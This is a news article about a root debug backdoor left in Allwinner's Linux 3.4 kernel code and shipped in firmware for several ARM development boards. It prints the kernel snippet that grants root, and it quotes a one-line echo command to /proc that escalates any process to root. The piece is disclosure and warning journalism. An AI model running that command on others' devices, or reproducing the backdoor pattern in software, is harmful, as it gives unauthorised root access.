Oh no, you're thinking, yet another cookie pop-up. Well, sorry, it's the law. We measure how many people read us, and ensure you see relevant ads, by storing cookies on your device. If you're cool with that, hit “Accept all Cookies”. For more info and to customize your settings, hit “Customize Settings”.

Review and manage your consent

Here's an overview of our use of cookies, similar technologies and how to manage them. You can also change your choices at any time, by hitting the “Your Consent Options” link on the site's footer.

Manage Cookie Preferences
  • These cookies are strictly necessary so that you can navigate the site as normal and use all features. Without these cookies we cannot provide you with the service that you expect.

  • These cookies are used to make advertising messages more relevant to you. They perform functions like preventing the same ad from continuously reappearing, ensuring that ads are properly displayed for advertisers, and in some cases selecting advertisements that are based on your interests.

  • These cookies collect information in aggregate form to help us understand how our websites are being used. They allow us to count visits and traffic sources so that we can measure and improve the performance of our sites. If people say no to these cookies, we do not know how many people have visited and we cannot monitor performance.

See also our Cookie policy and Privacy policy.

This article is more than 1 year old

This is what a root debug backdoor in a Linux kernel looks like

Allwinner's all-loser code makes it into shipped firmware

A root backdoor for debugging ARM-powered Android gadgets managed to end up in shipped firmware – and we're surprised this sort of colossal blunder doesn't happen more often.

The howler is the work of Chinese ARM SoC-maker Allwinner, which wrote its own kernel code underneath a custom Android build for its devices.

Its Linux 3.4-based kernel code, on Github here, contains what looks to The Register like a debug mode the authors forgot to kill. Although it doesn't appear to have made it into the mainstream kernel source, it was picked up by firmware builders for various gadgets using Allwinner's chips.

It's triggered by writing rootmydevice to the special file /proc/sunxi_debug/sunxi_debug. That gives the current running process root privileges. If that file is present on your device or single-board computer, then you need to get rid of it. This is the code that checks for the magic write:

        if(!strncmp("rootmydevice",(char*)buf,12)){
                cred = (struct cred *)__task_cred(current);
                cred->uid = 0;
                cred->gid = 0;
                cred->suid = 0;
                cred->euid = 0;
                cred->euid = 0;
                cred->egid = 0;
                cred->fsuid = 0;
                cred->fsgid = 0;
                printk("now you are root\n");
        }

Tkaiser, a moderator over at the forums of the Armbian operating system (a Linux distro for ARM-based development boards) notes there's a number of vulnerable systems in the field.

As tkaiser writes, echo "rootmydevice" > /proc/sunxi_debug/sunxi_debug "from any process with any UID will get root, and it's probably remotely exploitable if combined with networked services that might allow access to /proc."

He adds: “This security flaw is currently present in every OS image for H3, A83T or H8 devices that rely on kernel 3.4.”

As well as all Orange Pi images except for Armbian's freshly patched 5.10, these vulnerable gadgets include ARM dev boards from FriendlyARM, SinoVoip (its M2+ and M3 Banana Pi boards), Cubietruck, and LinkSprite's pcDuino8 Uno.

There are probably other products out there using the Allwinner SoC and the dodgy code. Tkaiser pointed out that FriendlyARM was also quick to issue a patch. ®

 

Similar topics

TIP US OFF

Send us news


Other stories you might like